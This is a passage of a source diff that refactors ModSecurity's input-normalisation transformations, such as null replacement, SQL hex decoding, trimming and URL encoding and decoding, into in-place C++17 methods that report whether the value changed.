this file except in compliance with * the License. You may obtain a copy of the License at @@ -13,46 +13,23 @@ * */ -#include "src/actions/transformations/replace_nulls.h" +#include "replace_nulls.h" -#include -#include -#include -#include -#include -#include -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" +namespace modsecurity::actions::transformations { -namespace modsecurity { -namespace actions { -namespace transformations { +bool ReplaceNulls::transform(std::string &value, const Transaction *trans) const { + bool changed = false; -ReplaceNulls::ReplaceNulls(const std::string &action) - : Transformation(action) { - this->action_kind = 1; -} - -std::string ReplaceNulls::evaluate(const std::string &val, - Transaction *transaction) { - int64_t i; - std::string value(val); - - i = 0; - while (i < value.size()) { - if (value.at(i) == '\0') { - value.erase(i, 1); - value.insert(i, " ", 1); - } else { - i++; + for(auto &c : value) { + if (c == '\0') { + c = ' '; + changed = true; } } - return value; + return changed; } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/replace_nulls.h b/src/actions/transformations/replace_nulls.h index 8e2d315fc5..a01077c704 100644 --- a/src/actions/transformations/replace_nulls.h +++ b/src/actions/transformations/replace_nulls.h @@ -13,34 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_REPLACE_NULLS_H_ #define SRC_ACTIONS_TRANSFORMATIONS_REPLACE_NULLS_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class ReplaceNulls : public Transformation { public: + using Transformation::Transformation; - explicit ReplaceNulls(const std::string &action) ; - - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_REPLACE_NULLS_H_ diff --git a/src/actions/transformations/sha1.cc b/src/actions/transformations/sha1.cc index 9e0c7f53e7..b8b71389ad 100644 --- a/src/actions/transformations/sha1.cc +++ b/src/actions/transformations/sha1.cc @@ -13,35 +13,17 @@ * */ -#include "src/actions/transformations/sha1.h" +#include "sha1.h" -#include -#include -#include -#include -#include -#include - -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" #include "src/utils/sha1.h" -namespace modsecurity { -namespace actions { -namespace transformations { - -Sha1::Sha1(const std::string &action) - : Transformation(action) { - this->action_kind = 1; -} +namespace modsecurity::actions::transformations { -std::string Sha1::evaluate(const std::string &value, - Transaction *transaction) { - return Utils::Sha1::digest(value); +bool Sha1::transform(std::string &value, const Transaction *trans) const { + return Utils::Sha1::digestReplace(&value); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity + +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/sha1.h b/src/actions/transformations/sha1.h index eb5fb3f135..f777641141 100644 --- a/src/actions/transformations/sha1.h +++ b/src/actions/transformations/sha1.h @@ -13,32 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_SHA1_H_ #define SRC_ACTIONS_TRANSFORMATIONS_SHA1_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class Sha1 : public Transformation { public: - explicit Sha1(const std::string &action) ; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; -}; + using Transformation::Transformation; -} // namespace transformations -} // namespace actions -} // namespace modsecurity + bool transform(std::string &value, const Transaction *trans) const override; +}; -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_SHA1_H_ diff --git a/src/actions/transformations/sql_hex_decode.cc b/src/actions/transformations/sql_hex_decode.cc index 8c8805ff67..de0ea26b6e 100644 --- a/src/actions/transformations/sql_hex_decode.cc +++ b/src/actions/transformations/sql_hex_decode.cc @@ -13,101 +13,62 @@ * */ -#include "src/actions/transformations/sql_hex_decode.h" - -#include -#include -#include -#include -#include -#include +#include "sql_hex_decode.h" + #include -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" #include "src/utils/string.h" +using namespace modsecurity::utils::string; -namespace modsecurity { -namespace actions { -namespace transformations { - -#ifndef VALID_HEX -#define VALID_HEX(X) (((X >= '0') && (X <= '9')) \ - || ((X >= 'a') && (X <= 'f')) \ - || ((X >= 'A') && (X <= 'F'))) -#endif -#ifndef ISODIGIT -#define ISODIGIT(X) ((X >= '0') && (X <= '7')) -#endif - -std::string SqlHexDecode::evaluate(const std::string &value, - Transaction *transaction) { - std::string ret; - unsigned char *input; - int size = 0; +namespace modsecurity::actions::transformations { - input = reinterpret_cast - (malloc(sizeof(char) * value.length()+1)); - - if (input == NULL) { - return ""; - } - memcpy(input, value.c_str(), value.length()+1); - - size = inplace(input, value.length()); - - ret.assign(reinterpret_cast(input), size); - free(input); - - return ret; +static inline int mytolower(int ch) { + if (ch >= 'A' && ch <= 'Z') + return ('a' + ch - 'A'); + else + return ch; } - -int SqlHexDecode::inplace(unsigned char *data, int len) { - unsigned char *d, *begin = data; - int count = 0; - - if ((data == NULL) || (len == 0)) { - return 0; +static inline bool inplace(std::string &value) { + if (value.empty()) { + return false; } - for (d = data; (++count < len) && *data; *d++ = *data++) { - if (*data != '0') { - continue; + auto d = reinterpret_cast(value.data()); + const unsigned char *data = d; + const auto *end = data + value.size(); + + bool changed = false; + + while (data < end) { + if (data + 3 < end + && *data == '0' + && mytolower(*(data + 1)) == 'x' + && VALID_HEX(*(data + 2)) && VALID_HEX(*(data + 3))) { + data += 2; // skip '0x' + do { + *d++ = utils::string::x2c(data); + data += 2; + } while ((data + 1 < end) && VALID_HEX(*data) && VALID_HEX(*(data + 1))); + changed = true; } - ++data; - ++count; - if (mytolower(*data) != 'x') { - data--; - count--; - continue; - } - - data++; - ++count; - - // Do we need to keep "0x" if no hexa after? - if (!VALID_HEX(data[0]) || !VALID_HEX(data[1])) { - data -= 2; - count -= 2; - continue; - } - - while (VALID_HEX(data[0]) && VALID_HEX(data[1])) { - *d++ = utils::string::x2c(data); - data += 2; - count += 2; + else { + *d++ = *data++; } } *d = '\0'; - return strlen(reinterpret_cast(begin)); + + value.resize(d - reinterpret_cast(value.c_str())); + return changed; } +bool SqlHexDecode::transform(std::string &value, const Transaction *trans) const { + return inplace(value); +} + -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/sql_hex_decode.h b/src/actions/transformations/sql_hex_decode.h index 9a3afe0f5e..0acb1cff6b 100644 --- a/src/actions/transformations/sql_hex_decode.h +++ b/src/actions/transformations/sql_hex_decode.h @@ -13,42 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_SQL_HEX_DECODE_H_ #define SRC_ACTIONS_TRANSFORMATIONS_SQL_HEX_DECODE_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class SqlHexDecode : public Transformation { public: - explicit SqlHexDecode(const std::string &action) : Transformation(action) { } - - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + using Transformation::Transformation; - static int inplace(unsigned char *data, int len); - - static int mytolower(int ch) { - if (ch >= 'A' && ch <= 'Z') - return ('a' + ch - 'A'); - else - return ch; - } + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_SQL_HEX_DECODE_H_ diff --git a/src/actions/transformations/transformation.cc b/src/actions/transformations/transformation.cc index 3b38431ad1..b6fbf5a394 100644 --- a/src/actions/transformations/transformation.cc +++ b/src/actions/transformations/transformation.cc @@ -13,65 +13,62 @@ * */ -#include "src/actions/transformations/transformation.h" +#include "transformation.h" #include - #include #include #include "modsecurity/transaction.h" #include "modsecurity/actions/action.h" -#include "src/actions/transformations/base64_decode_ext.h" -#include "src/actions/transformations/base64_decode.h" -#include "src/actions/transformations/base64_encode.h" -#include "src/actions/transformations/cmd_line.h" -#include "src/actions/transformations/compress_whitespace.h" -#include "src/actions/transformations/css_decode.h" -#include "src/actions/transformations/escape_seq_decode.h" -#include "src/actions/transformations/hex_decode.h" -#include "src/actions/transformations/hex_encode.h" -#include "src/actions/transformations/html_entity_decode.h" -#include "src/actions/transformations/js_decode.h" -#include "src/actions/transformations/length.h" -#include "src/actions/transformations/lower_case.h" -#include "src/actions/transformations/md5.h" -#include "src/actions/transformations/none.h" -#include "src/actions/transformations/normalise_path.h" -#include "src/actions/transformations/normalise_path_win.h" -#include "src/actions/transformations/parity_even_7bit.h" -#include "src/actions/transformations/parity_odd_7bit.h" -#include "src/actions/transformations/parity_zero_7bit.h" -#include "src/actions/transformations/remove_comments_char.h" -#include "src/actions/transformations/remove_comments.h" -#include "src/actions/transformations/remove_nulls.h" -#include "src/actions/transformations/remove_whitespace.h" -#include "src/actions/transformations/replace_comments.h" -#include "src/actions/transformations/replace_nulls.h" -#include "src/actions/transformations/sha1.h" -#include "src/actions/transformations/sql_hex_decode.h" -#include "src/actions/transformations/trim.h" -#include "src/actions/transformations/trim_left.h" -#include "src/actions/transformations/trim_right.h" -#include "src/actions/transformations/upper_case.h" -#include "src/actions/transformations/url_decode.h" -#include "src/actions/transformations/url_decode_uni.h" -#include "src/actions/transformations/url_encode.h" -#include "src/actions/transformations/utf8_to_unicode.h" + +#include "base64_decode_ext.h" +#include "base64_decode.h" +#include "base64_encode.h" +#include "cmd_line.h" +#include "compress_whitespace.h" +#include "css_decode.h" +#include "escape_seq_decode.h" +#include "hex_decode.h" +#include "hex_encode.h" +#include "html_entity_decode.h" +#include "js_decode.h" +#include "length.h" +#include "lower_case.h" +#include "md5.h" +#include "none.h" +#include "normalise_path.h" +#include "normalise_path_win.h" +#include "parity_even_7bit.h" +#include "parity_odd_7bit.h" +#include "parity_zero_7bit.h" +#include "remove_comments_char.h" +#include "remove_comments.h" +#include "remove_nulls.h" +#include "remove_whitespace.h" +#include "replace_comments.h" +#include "replace_nulls.h" +#include "sha1.h" +#include "sql_hex_decode.h" +#include "trim.h" +#include "trim_left.h" +#include "trim_right.h" +#include "upper_case.h" +#include "url_decode.h" +#include "url_decode_uni.h" +#include "url_encode.h" +#include "utf8_to_unicode.h" #define IF_MATCH(b) \ if (a.compare(2, std::strlen(#b), #b) == 0) -namespace modsecurity { -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { -std::string Transformation::evaluate(const std::string &value, - Transaction *transaction) { - return value; +bool Transformation::transform(std::string &value, const Transaction *trans) const { + return false; } Transformation* Transformation::instantiate(std::string a) { @@ -119,6 +116,5 @@ Transformation* Transformation::instantiate(std::string a) { return new Transformation(a); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity + +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/transformation.h b/src/actions/transformations/transformation.h index f1d81503ec..1d0ea99aa6 100644 --- a/src/actions/transformations/transformation.h +++ b/src/actions/transformations/transformation.h @@ -13,37 +13,23 @@ * */ -#include - -#include "modsecurity/actions/action.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_TRANSFORMATION_H_ #define SRC_ACTIONS_TRANSFORMATIONS_TRANSFORMATION_H_ +#include "modsecurity/actions/action.h" -namespace modsecurity { -class Transaction; - -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class Transformation : public Action { public: explicit Transformation(const std::string& _action) - : Action(_action, RunTimeBeforeMatchAttemptKind) { } - - explicit Transformation(const std::string& _action, int kind) - : Action(_action, kind) { } - - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + : Action(_action, Kind::RunTimeBeforeMatchAttemptKind) { } static Transformation* instantiate(std::string a); -}; -} // namespace transformations -} // namespace actions -} // namespace modsecurity + virtual bool transform(std::string &value, const Transaction *trans) const; +}; +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_TRANSFORMATION_H_ diff --git a/src/actions/transformations/trim.cc b/src/actions/transformations/trim.cc index 5902497f40..2056b25622 100644 --- a/src/actions/transformations/trim.cc +++ b/src/actions/transformations/trim.cc @@ -13,67 +13,51 @@ * */ -#include "src/actions/transformations/trim.h" +#include "trim.h" -#include -#include #include -#include -#include -#include -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" -#include "modsecurity/actions/action.h" -namespace modsecurity { -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { -std::string *Trim::ltrim(std::string *s) { - s->erase( - s->begin(), - std::find_if(s->begin(), s->end(), [](unsigned char c) { +bool Trim::ltrim(std::string &s) { + auto it = std::find_if(s.begin(), s.end(), [](unsigned char c) { return !std::isspace(c); - }) - ); + }); - return s; + const bool changed = it != s.begin(); + + s.erase(s.begin(), it); + + return changed; } -std::string *Trim::rtrim(std::string *s) { - s->erase( - std::find_if(s->rbegin(), s->rend(), [](unsigned char c) { +bool Trim::rtrim(std::string &s) { + auto it = std::find_if(s.rbegin(), s.rend(), [](unsigned char c) { return !std::isspace(c); - }).base(), - s->end() - ); + }).base(); - return s; -} + const bool changed = it != s.end(); + s.erase(it, s.end()); -std::string *Trim::trim(std::string *s) { - return ltrim(rtrim(s)); + return changed; } -Trim::Trim(const std::string &action) - : Transformation(action) { - this->action_kind = 1; +bool Trim::trim(std::string &s) { + bool changed = false; + changed |= rtrim(s); + changed |= ltrim(s); + return changed; } -std::string -Trim::evaluate(const std::string &val, - Transaction *transaction) { - std::string value(val); - return *this->trim(&value); +bool Trim::transform(std::string &value, const Transaction *trans) const { + return trim(value); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/trim.h b/src/actions/transformations/trim.h index ac16050cfd..e436f5bf54 100644 --- a/src/actions/transformations/trim.h +++ b/src/actions/transformations/trim.h @@ -13,38 +13,24 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_TRIM_H_ #define SRC_ACTIONS_TRANSFORMATIONS_TRIM_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class Trim : public Transformation { public: + using Transformation::Transformation; - explicit Trim(const std::string &action) ; + bool transform(std::string &value, const Transaction *trans) const override; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; - - std::string *ltrim(std::string *s); - std::string *rtrim(std::string *s); - std::string *trim(std::string *s); + static bool ltrim(std::string &s); + static bool rtrim(std::string &s); + static bool trim(std::string &s); }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_TRIM_H_ diff --git a/src/actions/transformations/trim_left.cc b/src/actions/transformations/trim_left.cc index 50c0cc6aa5..2ce7014910 100644 --- a/src/actions/transformations/trim_left.cc +++ b/src/actions/transformations/trim_left.cc @@ -13,37 +13,16 @@ * */ -#include "src/actions/transformations/trim_left.h" +#include "trim_left.h" +#include "trim.h" -#include -#include -#include -#include -#include -#include -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" -#include "src/actions/transformations/trim.h" -#include "modsecurity/actions/action.h" +namespace modsecurity::actions::transformations { -namespace modsecurity { -namespace actions { -namespace transformations { - - -TrimLeft::TrimLeft(const std::string &action) - : Trim(action) { - this->action_kind = 1; +bool TrimLeft::transform(std::string &value, const Transaction *trans) const { + return Trim::ltrim(value); } -std::string TrimLeft::evaluate(const std::string &val, - Transaction *transaction) { - std::string value(val); - return *ltrim(&value); -} -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/trim_left.h b/src/actions/transformations/trim_left.h index 54e4885c05..8acf1fe593 100644 --- a/src/actions/transformations/trim_left.h +++ b/src/actions/transformations/trim_left.h @@ -13,34 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" -#include "src/actions/transformations/trim.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_TRIM_LEFT_H_ #define SRC_ACTIONS_TRANSFORMATIONS_TRIM_LEFT_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { -class TrimLeft : public Trim { +class TrimLeft : public Transformation { public: - explicit TrimLeft(const std::string &action) ; + using Transformation::Transformation; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_TRIM_LEFT_H_ diff --git a/src/actions/transformations/trim_right.cc b/src/actions/transformations/trim_right.cc index 92383f7e00..e6536786ba 100644 --- a/src/actions/transformations/trim_right.cc +++ b/src/actions/transformations/trim_right.cc @@ -13,35 +13,16 @@ * */ -#include "src/actions/transformations/trim_right.h" +#include "trim_right.h" +#include "trim.h" -#include -#include -#include -#include -#include -#include -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" -#include "modsecurity/actions/action.h" +namespace modsecurity::actions::transformations { -namespace modsecurity { -namespace actions { -namespace transformations { - -TrimRight::TrimRight(const std::string &action) - : Trim(action) { - this->action_kind = 1; +bool TrimRight::transform(std::string &value, const Transaction *trans) const { + return Trim::rtrim(value); } -std::string TrimRight::evaluate(const std::string &val, - Transaction *transaction) { - std::string value(val); - return *this->rtrim(&value); -} -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/trim_right.h b/src/actions/transformations/trim_right.h index 9a96b4c5cc..7e31795a31 100644 --- a/src/actions/transformations/trim_right.h +++ b/src/actions/transformations/trim_right.h @@ -13,34 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" -#include "src/actions/transformations/trim.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_TRIM_RIGHT_H_ #define SRC_ACTIONS_TRANSFORMATIONS_TRIM_RIGHT_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { -class TrimRight : public Trim { +class TrimRight : public Transformation { public: - explicit TrimRight(const std::string &action) ; + using Transformation::Transformation; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_TRIM_RIGHT_H_ diff --git a/src/actions/transformations/upper_case.cc b/src/actions/transformations/upper_case.cc index 118696ad43..2b3978c740 100644 --- a/src/actions/transformations/upper_case.cc +++ b/src/actions/transformations/upper_case.cc @@ -13,36 +13,21 @@ * */ -#include "src/actions/transformations/upper_case.h" -#include -#include +#include "upper_case.h" -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" -#include "modsecurity/actions/action.h" +#include -namespace modsecurity { -namespace actions { -namespace transformations { +#include "lower_case.h" -UpperCase::UpperCase(const std::string &a) - : Transformation(a) { -} - -std::string UpperCase::evaluate(const std::string &val, - Transaction *transaction) { - std::string value(val); - std::locale loc; +namespace modsecurity::actions::transformations { - for (std::string::size_type i=0; i < value.length(); ++i) { - value[i] = std::toupper(value[i], loc); - } - return value; +bool UpperCase::transform(std::string &value, const Transaction *trans) const { + return LowerCase::convert(value, [](auto c) + { return std::toupper(c); }); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity + +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/upper_case.h b/src/actions/transformations/upper_case.h index f4a77220c6..87a1df8a0a 100644 --- a/src/actions/transformations/upper_case.h +++ b/src/actions/transformations/upper_case.h @@ -13,35 +13,20 @@ * */ -#include -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_UPPER_CASE_H_ #define SRC_ACTIONS_TRANSFORMATIONS_UPPER_CASE_H_ -#ifdef __cplusplus - -namespace modsecurity { -class Transaction; -namespace actions { -namespace transformations { +#include "transformation.h" +namespace modsecurity::actions::transformations { class UpperCase : public Transformation { public: - explicit UpperCase(const std::string &action) ; + using Transformation::Transformation; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_UPPER_CASE_H_ diff --git a/src/actions/transformations/url_decode.cc b/src/actions/transformations/url_decode.cc index 845c6a647a..dbc7bf9fb9 100644 --- a/src/actions/transformations/url_decode.cc +++ b/src/actions/transformations/url_decode.cc @@ -13,52 +13,18 @@ * */ -#include "src/actions/transformations/url_decode.h" +#include "url_decode.h" -#include -#include -#include -#include -#include -#include -#include - -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" #include "src/utils/decode.h" -namespace modsecurity { -namespace actions { -namespace transformations { - - -UrlDecode::UrlDecode(const std::string &action) - : Transformation(action) { - this->action_kind = 1; -} - -std::string UrlDecode::evaluate(const std::string &value, - Transaction *transaction) { - unsigned char *val(NULL); - int invalid_count = 0; - int changed; - - val = (unsigned char *) malloc(sizeof(char) * value.size() + 1); - memcpy(val, value.c_str(), value.size() + 1); - val[value.size()] = '\0'; - - int size = utils::urldecode_nonstrict_inplace(val, value.size(), - &invalid_count, &changed); - std::string out; - out.append((const char *)val, size); +namespace modsecurity::actions::transformations { - free(val); - return out; +bool UrlDecode::transform(std::string &value, const Transaction *trans) const { + int invalid_count; + return utils::urldecode_nonstrict_inplace(value, invalid_count); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/url_decode.h b/src/actions/transformations/url_decode.h index e965dae7fe..cc73c9c3fa 100644 --- a/src/actions/transformations/url_decode.h +++ b/src/actions/transformations/url_decode.h @@ -13,36 +13,20 @@ * */ -#include -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_URL_DECODE_H_ #define SRC_ACTIONS_TRANSFORMATIONS_URL_DECODE_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; - -namespace actions { -namespace transformations { +#include "transformation.h" +namespace modsecurity::actions::transformations { class UrlDecode : public Transformation { public: + using Transformation::Transformation; - explicit UrlDecode(const std::string &action) ; - - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_URL_DECODE_H_ diff --git a/src/actions/transformations/url_decode_uni.cc b/src/actions/transformations/url_decode_uni.cc index ad5b8111c6..f0ad110316 100644 --- a/src/actions/transformations/url_decode_uni.cc +++ b/src/actions/transformations/url_decode_uni.cc @@ -13,65 +13,29 @@ * */ -#include "src/actions/transformations/url_decode_uni.h" +#include "url_decode_uni.h" -#include - -#include -#include -#include -#include -#include -#include -#include - -#include "modsecurity/rules_set_properties.h" #include "modsecurity/rules_set.h" -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" #include "src/utils/string.h" -#include "src/utils/system.h" - -namespace modsecurity { -namespace actions { -namespace transformations { +using namespace modsecurity::utils::string; - -std::string UrlDecodeUni::evaluate(const std::string &value, - Transaction *t) { - std::string ret; - unsigned char *input; - - input = reinterpret_cast - (malloc(sizeof(char) * value.length()+1)); - - if (input == NULL) { - return ""; - } - - memcpy(input, value.c_str(), value.length()+1); - - size_t i = inplace(input, value.length(), t); - - ret.assign(reinterpret_cast(input), i); - free(input); - - return ret; -} +namespace modsecurity::actions::transformations { /** * * IMP1 Assumes NUL-terminated */ -int UrlDecodeUni::inplace(unsigned char *input, uint64_t input_len, - Transaction *t) { - unsigned char *d = input; - int64_t i, count, fact, j, xv; - int Code, hmap = -1; +static inline bool inplace(std::string &value, + const Transaction *t) { + bool changed = false; + auto d = reinterpret_cast(value.data()); + const unsigned char *input = d; + const auto input_len = value.length(); - if (input == NULL) return -1; + std::string::size_type i, count, fact, j, xv; + int hmap = -1; i = count = 0; while (i < input_len) { @@ -86,13 +50,16 @@ int UrlDecodeUni::inplace(unsigned char *input, uint64_t input_len, (VALID_HEX(input[i + 3])) && (VALID_HEX(input[i + 4])) && (VALID_HEX(input[i + 5]))) { - Code = 0; + fact = 1; if (t && t->m_rules->m_unicodeMapTable.m_set == true && t->m_rules->m_unicodeMapTable.m_unicodeMapTable != NULL && t->m_rules->m_unicodeMapTable.m_unicodeCodePage > 0) { + + int Code = 0; + for (j = 5; j >= 2; j--) { if (isxdigit((input[i+j]))) { if (input[i+j] >= 97) { @@ -131,19 +98,17 @@ int UrlDecodeUni::inplace(unsigned char *input, uint64_t input_len, } } d++; - count++; i += 6; + changed = true; } else { /* Invalid data, skip %u. */ *d++ = input[i++]; *d++ = input[i++]; - count += 2; } } else { /* Not enough bytes (4 data bytes), skip %u. */ *d++ = input[i++]; *d++ = input[i++]; - count += 2; } } else { /* Standard URL encoding. */ @@ -158,8 +123,8 @@ int UrlDecodeUni::inplace(unsigned char *input, uint64_t input_len, if (VALID_HEX(c1) && VALID_HEX(c2)) { *d++ = utils::string::x2c(&input[i + 1]); - count++; i += 3; + changed = true; } else { /* Not a valid encoding, skip this % */ *d++ = input[i++]; @@ -168,28 +133,32 @@ int UrlDecodeUni::inplace(unsigned char *input, uint64_t input_len, } else { /* Not enough bytes available, skip this % */ *d++ = input[i++]; - count++; } } } else { /* Character is not a percent sign. */ if (input[i] == '+') { *d++ = ' '; + changed = true; } else { *d++ = input[i]; } - count++; i++; } } *d = '\0'; - return count; + value.resize(d - input); + return changed; +} + + + +bool UrlDecodeUni::transform(std::string &value, const Transaction *trans) const { + return inplace(value, trans); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/url_decode_uni.h b/src/actions/transformations/url_decode_uni.h index d7b0dd2152..046f251a42 100644 --- a/src/actions/transformations/url_decode_uni.h +++ b/src/actions/transformations/url_decode_uni.h @@ -13,35 +13,20 @@ * */ -#include - -#include "modsecurity/rules_set_properties.h" -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_URL_DECODE_UNI_H_ #define SRC_ACTIONS_TRANSFORMATIONS_URL_DECODE_UNI_H_ +#include "transformation.h" -#ifdef __cplusplus -namespace modsecurity { -class Transaction; -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class UrlDecodeUni : public Transformation { public: - explicit UrlDecodeUni(const std::string &action) : Transformation(action) { } + using Transformation::Transformation; - std::string evaluate(const std::string &exp, Transaction *transaction) override; - static int inplace(unsigned char *input, uint64_t input_len, - Transaction *transaction); + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_URL_DECODE_UNI_H_ diff --git a/src/actions/transformations/url_encode.cc b/src/actions/transformations/url_encode.cc index 19ecb3349d..2692a2d3d8 100644 --- a/src/actions/transformations/url_encode.cc +++ b/src/actions/transformations/url_encode.cc @@ -13,90 +13,50 @@ * */ -#include "src/actions/transformations/url_encode.h" +#include "url_encode.h" -#include -#include -#include -#include -#include -#include - -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" #include "src/utils/string.h" -namespace modsecurity { -namespace actions { -namespace transformations { - - -UrlEncode::UrlEncode(const std::string &action) - : Transformation(action) { - this->action_kind = 1; -} - +namespace modsecurity::actions::transformations { -std::string UrlEncode::url_enc(const char *input, - unsigned int input_len, int *changed) { - char *rval, *d; - unsigned int i, len; - int count = 0; - *changed = 0; +static inline bool url_enc(std::string &value) { + const auto len = value.size() * 3 + 1; + std::string ret(len, {}); - len = input_len * 3 + 1; - d = rval = reinterpret_cast(malloc(len)); - if (rval == NULL) { - return NULL; - } + bool changed = false; /* ENH Only encode the characters that really need to be encoded. */ - for (i = 0; i < input_len; i++) { - unsigned char c = input[i]; - + char *d = ret.data(); + for (const auto c : value) { if (c == ' ') { *d++ = '+'; - *changed = 1; - count++; + changed = true; } else { if ( (c == 42) || ((c >= 48) && (c <= 57)) || ((c >= 65) && (c <= 90)) || ((c >= 97) && (c <= 122))) { *d++ = c; - count++; - } else { + } + else + { *d++ = '%'; - count++; - utils::string::c2x(c, (unsigned char *)d); - d += 2; - count++; - count++; - *changed = 1; + d = (char *)utils::string::c2x(c, (unsigned char *)d); + changed = true; } } } - *d = '\0'; - - std::string ret(""); - ret.append(rval, count); - free(rval); - return ret; + ret.resize(d - ret.c_str()); + std::swap(value, ret); + return changed; } -std::string UrlEncode::evaluate(const std::string &value, - Transaction *transaction) { - int changed; - - std::string ret = url_enc(value.c_str(), value.size(), &changed); - - return ret; +bool UrlEncode::transform(std::string &value, const Transaction *trans) const { + return url_enc(value); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git 